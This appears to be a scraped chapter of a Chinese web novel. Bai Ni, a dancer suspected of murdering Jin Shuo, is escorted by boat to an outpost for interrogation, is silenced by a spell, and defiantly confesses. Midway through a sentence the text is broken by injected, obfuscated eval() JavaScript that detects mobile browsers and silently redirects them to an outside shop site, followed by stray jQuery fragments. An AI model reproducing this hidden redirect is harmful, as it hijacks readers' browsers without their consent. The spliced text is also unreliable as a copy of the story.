文趣网 > 其他小说 > 师姐,你没死啊?! > 42. 第四十二章
    宁沉欢离开浮光台,沿着廊道往西行。刚转过一个弯,前面忽然走出一行人。

    为首的男人穿着墨绿锻袍,后面跟着两个护卫装扮的人。宁沉欢的脚步微微一顿,随即放慢了速度,与那行人拉开距离,跟在后面。

    一前一后同行了片刻,宁沉欢几乎能确定,这行人的目的地,也是白霓的房间。

    她到的时候,房间里已经聚了不少人。墨绿锻袍——亦即极乐坊坊主正在与师尊交涉,金煜站在金烁的尸身旁,神色万分痛苦。

    白霓则站在屋子另一侧,装扮精致、发髻高挽、衣裳华贵,被七八个舞姬护在身后。

    阿菁站在最前面,双手叉腰,声音又脆又亮:“你们凭什么带她走?她是极乐坊的人,自有极乐坊的规矩!你们算什么东西?”

    阿菁说完,不期然碰上金煜阴沉沉的目光,憷得后退了半步。

    有了阿菁开头,又见坊主并未阻止,其他舞姬便也不甘示弱起来。

    “就算这人的尸体在白霓这里,也不能证明是白霓杀了他。你们什么证据都没有,还敢来这撒野。”

    “就是就是,你们以为这里是什么地方,凭着一块狗屁不通的令牌,就想带我们的人走?”

    白霓始终没有说话,垂下眼,睫毛覆下来。心底翻涌的愤怒、不甘、还有悲恸被一一压下。

    只有她照着坊主的意思去做,小满的性命才可以保住。

    她将这个念头在心里反复念了许多遍,才品出一点生的希望来。

    坊主和时黎的交谈终于结束。两个人说话的声音都不高,旁人只听得到零星的几个字眼。

    什么“配合”、什么“明察”、什么“敝坊上下”,全是些不痛不痒的场面话。时黎退后半步,双手拢在袖中,脸上看不出什么表情。

    坊主转过身来。他先看了一眼时黎手中的獬豸令,又扫了一眼站在白霓身前的舞姬们,最后将目光落在白霓脸上。

    细长的狐狸眼里看不出什么情绪,口中淡淡吐出三个字:“都退下。”

    是对着那群舞姬说的,她们面面相觑,方才气焰消失。有人低下头,有人攥紧了自己的裙摆,有人往后挪了半步,脚尖已经转向门口。

    阿菁不乐意,她的脚钉在原地,像扎了根,看了一眼白霓,嘴唇翕动几下,又唤了一声“坊主”。

    以前极乐坊不是没有出过事,但是这些事从来影响不到她们。可今日,坊主的态度,和从前不一样。对待她们,像是在处置一件无关紧要的东西。

    极乐坊坊主并未因为阿菁出声回首,他甚至没有侧一下头,立在门口的两名黑衣侍卫已经迈步进来。

    就在此刻,白霓开口了,她的声音不高,甚至可以说轻描淡写。在这满屋的紧绷中,冷静的异乎常人。

    “阿菁,”她道,“紫荆的舞曲开场了,你帮我去看看怎么样?”

    看着阿菁咬了咬唇、不情愿的离开,白霓才松了一口气。她太知道,在极乐坊忤逆坊主的下场了。

    可还是有什么东西压在她心中——一种说不清道不明的东西,令她坐立不安。。

    她忽然想起紫荆。昨日,她正在对镜卸妆,银镜里映出她那张卸去脂粉后苍白憔悴的脸,紫荆进来,笑着道:“白霓,你最近闷闷不乐,我给你准备了一个惊喜。”

    她当时没有在意。可此刻,不知为何,忽然心悸的厉害。

    舞姬们被遣走后,房间清净许多。

    坊主微微侧身,抱拳行礼,语气中带着恰到好处的惋惜:“悬律司要带人,敝坊不敢拦。只是,白霓在极乐坊多年,从未出过差错。这件事还望悬律司明察,莫要冤枉她。”

    时黎站在窗边,月光将她的侧脸勾出一道温润的轮廓。

    她同样拱手还礼,回道:“自然。”

    顿了顿,想到纪挽星来时的嘱托,继续道:“这里不是议事的地方,距绣湖五十里开外,有一处清宴堂,是昆仑墟下设的派出机构。不介意的话——”

    “我们将白姑娘带到此处审问。清宴堂清净、守备周全,也免得在贵坊叨扰,影响生意。”

    坊主点了点头,欠身道:“但凭悬律司安排。”

    他语气恭顺。毕竟,辛无咎下了命令,让自己万事配合。

    极乐坊坊主带着两名护卫退出房间,墨绿色的锻袍在廊道尽头消失,屋内更显空旷。

    纪挽星从床边走过来,在金煜面前站定。她看着金煜布满血丝的眼睛,看着他紧抿的嘴唇,看着他因为强忍情绪而微微发颤的下颌。

    他现在情绪太激动,不适合留在这。

    “表哥,”她开口,声音稳当,“我们带走白霓审问。金烁表哥的尸首便交由你运回金陵城,好好下葬。”

    “不。”金煜开口,声音沙哑,却带着一种从未有过的、近乎偏执的坚决。

    纪挽星微微一怔。正如方渡所说,金煜从未拒绝过她。

    “我要留在这,我要亲自审她。”

    纪挽星看了他两息,没有劝,也没有再多说,只是点了点头,道:“既如此,那就由宁姑娘与常安去办吧。”

    宁沉欢一直站在门口,此刻听见自己的名字,抬起头看了眼师尊。

    正在此时,纪挽星又从怀中取出一封信笺并霁翎宫宫主令,道:“宁姑娘,事情办妥后,还要麻烦你再替我去一趟昆仑墟,将此信交给霁翎宫宫主。”

    宁沉欢不解其意,时黎对她解释:“是欲海楼的事。”

    宁沉欢心中疑惑更深,但面上什么都没有表现出来,与常安一前一后离开。

    极乐坊外,早有人安排好了画舫,船头挂着一盏琉璃灯笼,灯影晃晃悠悠地落在水面上,漾开一圈一圈的涟漪。

    船家见了人来,忙站起身,赔着笑脸:“几位贵客,坊主吩咐了,送诸位去清宴堂。”

    白霓先上了船,踩上踏板时船身晃了一下。她稳了稳身子,弯腰钻进船舱,在角落里坐下。坐定之后,她抬起头,目光越过船舷,望向极乐坊的楼阁。

    灯火通明,层层叠叠的飞檐翘角在夜色中勾出繁复的轮廓。

    她拼尽所有都要逃离这个地方,可笑的是,她此刻坐在这艘摇摇晃晃的画舫上,回头望着那片她恨了这么多年的灯火,忽然发现,连当初想要逃离的理由都想不起来了。

    船桨划破水面,发出轻微的“哗啦”声。画舫缓缓离开绣湖,身后的灯火一盏一盏地退远了。

    白霓收回目光,她把那双手缩进袖子里,攥成拳头,指甲嵌进掌心。这点疼痛让她觉得踏实。

    船身在晃动,桨声一下一下的,不急不慢。她的脑子随着这节奏飞速转着。

    坊主绕这么大一圈功夫,不是为了替她脱罪,是为了息事宁人。息事宁人的原因只有一个,来的这些人,极乐坊惹不起。既然极乐坊惹不起,那她未必不能赌一次。

    “极乐坊杀害我夫!囚禁我儿!”

    这句话她在心底念了千遍万遍,今时今日开口想把这句话从一鼓作气说出来。

    什么声音都没有。她就像一条被甩上岸的鱼,徒劳地翕动着鳃,却发不出任何声音。

    白霓睁大了眼睛,抬手抚上自己的脖子。指尖触到喉结下方那块微微凸起的软骨,在皮肤下不安地滚动着。

    似是想起什么,她猛地抬起头,扫过画舫中众人。

    他们或坐或立,姿态闲适,甚至聊起回去之后要去哪里游玩

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740403|206618||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    聚会,语气轻松的像一次寻常远足。

    唯有一人独站在船舱外,衣袍在夜风里轻轻翻动。

    这里已经离湖岸边很近了,月光愈发明亮,清辉如水,静静落在时黎垂在身侧的手上。

    这只手白得几乎透明,指节纤长,骨节分明,仿佛一件被精细打磨过的玉器。

    隔着不算近的距离,白霓注意到这只手——食指第二个小节处有一粒小小的血痣,嵌在温润的皮肤上,像凝固的血粒。

    他的拇指与中指轻轻搭在一起,姿态随意,仿佛只是手指的自然垂落。可白霓见过这种手势,是禁言诀。

    她垂下了头。浑身上下每一寸皮肤都在发冷。难怪坊主放任,难怪他从始至终不慌不忙,原来一切都安排好了。

    这帮人要的也不是真相,而是找一个伏罪的人。是她太天真。

    周茵离她最近,见白霓动作,问:“怎么了?”

    白霓摇摇头,船身微微一震,靠岸了。又行五里,清宴堂到了。

    堂内灯火通明,与极乐坊的奢靡铺张不同,灯火收敛克制,将每一个角落都照得清清楚楚,却不留任何暖意。

    几张椅,一张案,案上搁着茶壶和杯盏,都倒扣着。这里许久没有昆仑墟的弟子入住了。

    白霓站在清宴堂中心,忽然笑了。笑声来得没有预兆,声音悦耳,像大珠小珠落玉盘,在冷寂的厅堂里回荡。

    白霓笑了好一会儿才直起身,嘴角却弯着,弯出一个大大的、弧度恰到好处的笑。她抬手理了理散落的碎发,而后理了理衣裳,动作从容,仿佛她此刻正在极乐坊后台候场。

    “早知金烁背后有这么大的势力,能让坊主也避之不及——”她顿了顿,一一扫过众人,笑容还在,眼睛里却没有半点笑意,“我何苦杀他。”

    金煜脸色骤然铁青,厉声喝道:“你什么意思?”

    白霓的笑容忽然炸开了,是一种压抑太久终于决堤的畅快。她抬起手,指尖直直戳向金煜的方向,戳向那张与金烁有几分相似的脸。

    “我说,他该死,你没听清楚吗!?”她的声音同样大了起来,震得堂内的烛火都晃了晃。

    “好好的一个金陵城少城主,学什么戏文里的救风尘!他以为自己是谁?他连自己都救不了!”

    金煜的胸膛剧烈起伏,手上青筋暴起。他往前迈了一步,却被纪挽星横臂拦住。纪挽星的手按在他的肩膀,不重,将他钉在原地。

    金煜只能咬着牙,死死盯着白霓,像一头被锁链拴住的困兽。

    白霓没有退,她甚至往前迎了一步,裙摆在地面上扫过。

    “不过对他笑了两次,就一脸不值钱地凑上来,”她的声音尖锐,带着一种自毁般的快意,“金陵城果真好家教!教出来的少城主,连一个戏子的虚情假意都分不清!”

    白霓的眼睛红透了,可她还在继续,仿佛只要一停,心中的这口气就会散掉。

    “他没钱进什么极乐坊?他无势凭什么招惹我?手上只有一间点绛阁,充什么大人物,”她的声音越拔越高,“既供养不起我锦衣玉食的生活,就该早早让我离开。”

    白霓喘了一口气,这口气又急又短:“我分明和他说清了,还非要和我纠缠不清,这些年,他害我错过多少恩客,当真是——死不足惜。他死就死了,平白还连累了我”

    金煜猛地挣扎了一下,他想到兄长寄来的那些信,那些字里行间的重视。

    没给金煜任何反应的时间,白霓继续道:“当然了,若是金烁早说他是金陵城的大公子,我何至于下手杀他。”

    “说不定,我早嫁去金陵城,”语罢,白霓抬起头,望向金煜,“今日,还该唤你一声小叔呢!”